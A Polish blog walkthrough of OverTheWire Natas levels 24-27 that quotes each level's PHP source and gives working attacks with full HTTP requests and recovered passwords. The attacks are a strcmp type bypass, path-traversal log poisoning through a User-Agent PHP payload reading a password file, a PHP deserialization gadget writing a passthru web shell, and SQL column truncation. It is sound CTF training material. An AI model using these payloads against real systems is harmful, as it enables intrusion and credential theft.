NATAS, GRA CTF 24-27

NATAS, GRA CTF 24-27

Opis przejścia kolejnych poziomów gry OverTheWire dla poziomów 24-27.

Natas24:
Link do zalogowania: http://natas24.natas.labs.overthewire.org/index.php
Login: natas24
Password: OsRmXFguozKpTZZ5X14zNO43379LZveg

Poniżej kod strony wraz ze źródłem php…

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas24", "pass": "<censored>" };</script></head>
<body>
<h1>natas24</h1>
<div id="content">

Password:
<form name="input" method="get">
    <input type="text" name="passwd" size=20>
    <input type="submit" value="Login">
</form>

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Kluczowym elementem tego zadania jest sposób porównywania zmiennych przy pomocy funkcji strcmp(). Kluczowym zapisem jest tutaj sprawdzenie, że funkcja sprawdza czy dwa ciągi znaków są różne zamiast sprawdzania czy są takie same. Funkcja strcmp() jeżeli ciągi są różne to wyświetla hasło na stronie. Ciekawą własnością tej funkcji jest fakt, że zachowuje się nietypowo jeżeli porównywane są inne elementy niż ciągi znaków. Korzystając z manuala funkcji strcmp() istnieje możliwość osiągnięcia wartości innej niż True lub False:

strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning

Porównywanie ciągu znaków oraz tablicy powoduje, że porównywanie tych zmiennych powoduje zwrot wartości NULL, zatem te wartości nie są różne.
Poniżej przykład takiego porównania oraz wynik:

natas24.natas.labs.overthewire.org/?passwd[]=1234

Hasło do levelu25 jest GHF6X7YwACaYYssHVY05cFq83hRktl4c

NATAS25:

Link do zalogowania: http://natas25.natas.labs.overthewire.org/index.php
Login: natas25
Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c

Poniżej kod skryptu do analizy:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas25", "pass": "<censored>" };</script></head>
<body>
<?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }
    
    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }
    
    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;
        
        closedir($handle);
        return $listoffiles;
    } 
    
    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>

<?php  
    session_start();
    setLanguage();
    
    echo "<h2>$__GREETING</h2>";
    echo "<p align=\"justify\">$__MSG";
    echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>
<p>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Kod programu polega na wyświetleniu tekstu w 2 różnych językach: angielskim oraz niemieckim. Parametr odpowiadający za zmianę języka występuje w parametrze GET o nazwie lang, który przyjmuje dwa parametry eng oraz de. Dodatkowo w liniach 24-28 znajduje się funkcja odpowiedzialna za przewidywanie atakom path traversal, która powoduje zamianę ciągu ../ na pusty ciąg znaków.
W liniach 31-33 istnieje zabezpieczenie, które uniemożliwia podejrzenie pliku zawierającego ciąg natas_webpass. Pora spróbować sobie poradzić z wymienionymi zabezpieczeniami.

Najpierw należy zauważyć, że zabezpieczenie przeciwko path traversal niedostatecznie chroni przed tym atakiem. Ciągiem, który pozwala na wyświetlenie innych plików to ….// (cztery ukośniki i dwa backshashe).
Następnie należy zauważyć, że funkcja o nazwie logRequest zapisuje do pliku  $fd=fopen(„/var/www/natas/natas25/logs/natas25_” . session_id() .”.log”,”a”); wszystkie zdarzenia na stronie. Zaczynam od odtworzenia parametru session_id, który u mnie wynosi: ige5msfgjnb0r0k0s4l2liarv7

Zatem adres do pliku przedstawia się następująco: http://natas25.natas.labs.overthewire.org/?lang=….///logs/natas25_ige5msfgjnb0r0k0s4l2liarv7.log

Pora teraz spróbować podejrzeć zawartość pliku z hasłem. Tutaj kluczowy jest zapis w linii 57: $log=$log . ” ” . $_SERVER[’HTTP_USER_AGENT’];
Stosowana jest tutaj konkatenacja zmiennej log oraz zmiennej globalnej HTTP_USER_AGENT. Należy zatem podmienić zawartość tego nagłówka na inny ciąg o następującej wartości:

GET /?lang=....//logs/natas25_ige5msfgjnb0r0k0s4l2liarv7.log HTTP/1.1
Host: natas25.natas.labs.overthewire.org
Authorization: Basic bmF0YXMyNTpHSEY2WDdZd0FDYVlZc3NIVlkwNWNGcTgzaFJrdGw0Yw==
Upgrade-Insecure-Requests: 1
User-Agent: <? readfile("/etc/natas_webpass/natas26") ?> Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.104
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=ige5msfgjnb0r0k0s4l2liarv7
Connection: close

Odpowiedzią na takie zapytanie jest:

........
Safari/537.36 OPR/68.0.3618.104 "Directory traversal attempt! fixing request."
[18.05.2020 09::49:28] Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.104 "Directory traversal attempt! fixing request."
[18.05.2020 09::54:30] oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
 Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.104 "Directory traversal attempt! fixing request."
........

Hasłem jest ciąg znaków: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T

Natas26:

Link do zalogowania: http://natas26.natas.labs.overthewire.org/index.php
Login: natas26
Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T

Kod strony przedstawia się następująco:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas26", "pass": "<censored>" };</script></head>
<body>
<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla
    
    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";
      
            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       
      
        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       
      
        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }
 
    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }
    
    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
        
            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){
                    
                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);
            
                    }
        }    
    }
    
    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }
        
        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<h1>natas26</h1>
<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form> 

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){  
        $imgfile="img/natas26_" . session_id() .".png"; 
        drawImage($imgfile); 
        showImage($imgfile);
        storeData();
    }
    
?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Na wstępie podane zostaną przykładowe dane x1=20, x2=10, y1=100, y2=150, co daje poniższy wynik:

Samo zapytanie z poziomu BurpSuite przedstawia się jak poniżej:

GET /index.php?x1=20&y1=10&x2=100&y2=150 HTTP/1.1
Host: natas26.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic bmF0YXMyNjpvR2dXQUo3emNHVDI4dllhekdvNHJraE9QRGhCdTM0VA==
Connection: close
Cookie: __utma=176859643.1024058856.1579267947.1579267947.1579271854.2; __utmz=176859643.1579267947.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmc=176859643; PHPSESSID=puoc799ng0thuu7pdpvcmetom0; drawing=YToxOntpOjA7YTo0OntzOjI6IngxIjtzOjI6IjIwIjtzOjI6InkxIjtzOjI6IjEwIjtzOjI6IngyIjtzOjM6IjEwMCI7czoyOiJ5MiI7czozOiIxNTAiO319
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Na uwagę zasługuje ciąg drawing, który posiada zakodowaną wartość w base64 YToxOntpOjA7YTo0OntzOjI6IngxIjtzOjI6IjIwIjtzOjI6InkxIjtzOjI6IjEwIjtzOjI6IngyIjtzOjM6IjEwMCI7czoyOiJ5MiI7czozOiIxNTAiO319, która po zdekodowaniu wynosi:
a:1:{i:0;a:4:{s:2:”x1″;s:2:”20″;s:2:”y1″;s:2:”10″;s:2:”x2″;s:3:”100″;s:2:”y2″;s:3:”150″;}}

Mamy do czynienia tutaj z serializacją/deserializacją danych w PHP. Podatna aplikacja musi mieć klasę, która implementuje magiczną metodę PHP (taką jak __wakeup lub __destruct), której można użyć do przeprowadzenia złośliwych ataków lub uruchomienia „łańcucha POP”.
A także wszystkie klasy używane podczas ataku muszą zostać zadeklarowane, gdy wywoływana jest podatna na ataki funkcja unserialize (), w przeciwnym razie dla takich klas musi być obsługiwane automatyczne ładowanie obiektów. Oba te warunki są spełnione przez naszą aplikację.

Potrzebny jest teraz skrypt w php, który spowoduje wygenerowanie zakodowanego ciągu, który następnie może zostać wysłany przez BurpSuite.

<?php
class Logger
{
    private $logFile;
    private $initMsg;
    private $exitMsg;
    function __construct($file)
    {
        // inicjalizacja zmiennych
        $this->initMsg="Witam\n";
        $this->exitMsg="Zegnam <? passthru('cat /etc/natas_webpass/natas27'); ?>\n\n";
        $this->logFile = "img/haslo.php";
    }
}
$object = new Logger("Nowy plik");
echo "Dane do serializacji : ".serialize($object)."<pre>\n\n</pre>Zakodowane Base64 dane : ".urlencode(base64_encode(serialize($object)));
?>

Wynikiem działania skryptu jest ciąg:

Dane do serializacji : O:6:"Logger":3:{s:15:"LoggerlogFile";s:13:"img/haslo.php";s:15:"LoggerinitMsg";s:6:"Witam ";s:15:"LoggerexitMsg";s:58:"Zegnam <? passthru('cat /etc/natas_webpass/natas27'); ?> ";}<pre> </pre>Zakodowane Base64 dane : Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL2hhc2xvLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjY6IldpdGFtCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjU4OiJaZWduYW0gPD8gcGFzc3RocnUoJ2NhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA%2FPgoKIjt9

Nowa wartość zapytania w BurpSuite wpisana do repetera:

GET /index.php?x1=20&y1=10&x2=100&y2=150 HTTP/1.1
Host: natas26.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic bmF0YXMyNjpvR2dXQUo3emNHVDI4dllhekdvNHJraE9QRGhCdTM0VA==
Connection: close
Cookie: __utma=176859643.1024058856.1579267947.1579267947.1579271854.2; __utmz=176859643.1579267947.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmc=176859643; PHPSESSID=puoc799ng0thuu7pdpvcmetom0; drawing=Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL2hhc2xvLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjY6IldpdGFtCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjU4OiJaZWduYW0gPD8gcGFzc3RocnUoJ2NhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA%2FPgoKIjt9
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Następnie należy podejrzeć hasło do kolejnego poziomu poprzez wykonanie zapytania: http://natas26.natas.labs.overthewire.org/img/haslo.php, wynik:
Zegnam 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ

Natas27:

Link do zalogowania: http://natas27.natas.labs.overthewire.org/index.php
Login: natas27
Password: 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ

Zacznijmy od przejrzenia kodu:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas27", "pass": "<censored>" };</script></head>
<body>
<h1>natas27</h1>
<div id="content">
<?

// morla / 10111
// database gets cleared every 5 min 


/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/


function checkCredentials($link,$usr,$pass){
 
    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);
    
    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysql_query($query, $link);
    if(mysql_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){
    
    $user=mysql_real_escape_string($usr);
    
    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){
    
    $user=mysql_real_escape_string($usr);
    
    $query = "SELECT * from users where username='$user'";
    $res = mysql_query($query, $link);
    if($res) {
        if(mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!  
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    $user=mysql_real_escape_string($usr);
    $password=mysql_real_escape_string($pass);
    
    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysql_query($query, $link);
    if(mysql_affected_rows() > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas27', '<censored>');
    mysql_select_db('natas27', $link);
   

    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }        
    } 
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ 
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Kod strony zachowuje się następująco: Po wpisaniu danych logowania sprawdzane jest czy wskazany użytkownik istnieje w bazie danych, następnie sprawdza czy podane hasło pasuje do wskazanego użytkownika. Jeżeli tak to wyświetla dane tego użytkownika, w przeciwnym wypadku informuje, że podane hasło jest nieprawidłowe. Natomiast jeżeli podanego użytkownika nie ma w bazie danych to go tworzy. Dodatkowo podana jest struktura tabeli użytkowników, która posiada dwa pola po 64 znaki.
Na podstawie poniższych danych można spróbować nadużyć podanego kodu.

Podajemy dane do logowania login:user1, password:1234

POST /index.php HTTP/1.1
Host: natas27.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://natas27.natas.labs.overthewire.org
Authorization: Basic bmF0YXMyNzo1NVRCanBQWlVVSmdWUDViM0JuYkc2T045dURQVnpDSg==
Connection: close
Referer: http://natas27.natas.labs.overthewire.org/index.php
Cookie: __utma=176859643.1024058856.1579267947.1579267947.1579271854.2; __utmz=176859643.1579267947.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmc=176859643
Upgrade-Insecure-Requests: 1

username=user1&password=1234

Spowoduje to dodanie użytkownika user1 z hasłem 1234, zatem aby zdobyć hasło do użytkownika natas28 należy spowodować dodanie konta natas28 w sposób uniemożliwiający sprawdzenie ,iż to konto jeszcze nie istnieje w systemie, w sposób poniższy:

POST /index.php HTTP/1.1
Host: natas27.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Origin: http://natas27.natas.labs.overthewire.org
Authorization: Basic bmF0YXMyNzo1NVRCanBQWlVVSmdWUDViM0JuYkc2T045dURQVnpDSg==
Connection: close
Referer: http://natas27.natas.labs.overthewire.org/index.php
Cookie: __utma=176859643.1024058856.1579267947.1579267947.1579271854.2; __utmz=176859643.1579267947.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmc=176859643
Upgrade-Insecure-Requests: 1

username=natas28+++++++++++++++++++++++++++++++++++++++++++++++++++++++++a&password=1234

Warto tutaj wytłumaczyć na czym polega ta sztuczka. Dodajemy konto o nazwie natas28 (te plusy to spacje) oraz litera a na końcu. W ten sposób dodajemy do tabeli z użytkownikami konto natas28 zawierające po nazwie 57 spacji oraz literę a. To powoduje, że dodany jest użytkownik, który zostaje wpisany do bazy danych, ale ponieważ tabela składa się z 64 znaków to litera a jest wycinana z ciągu. To powoduje ,że są dwa konta natas28, w tym jedno z 57 spacjami na końcu, ale język SQL obcina te spacje co powoduje, że logujemy się na konto natas28. Następnie jest sprawdzane jedno z istniejących haseł tych kont, oryginalnego nie znamy ale jest też sprawdzane to podane przy tworzeniu powyżej o treści 1234. Następnie loguję się na konto natas28 z hasłem 1234. Wynikiem zalogowania jest rozwiązanie:

Welcome natas28!
Here is your data:
Array ( [username] => natas28 [password] => JWwR438wkgTsNKBbcJoowyysdM82YjeF )

Dziękuję i przepraszam za tak dużą pauzę w ostatnim czasie, są to trudne i dla mnie czasy.

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *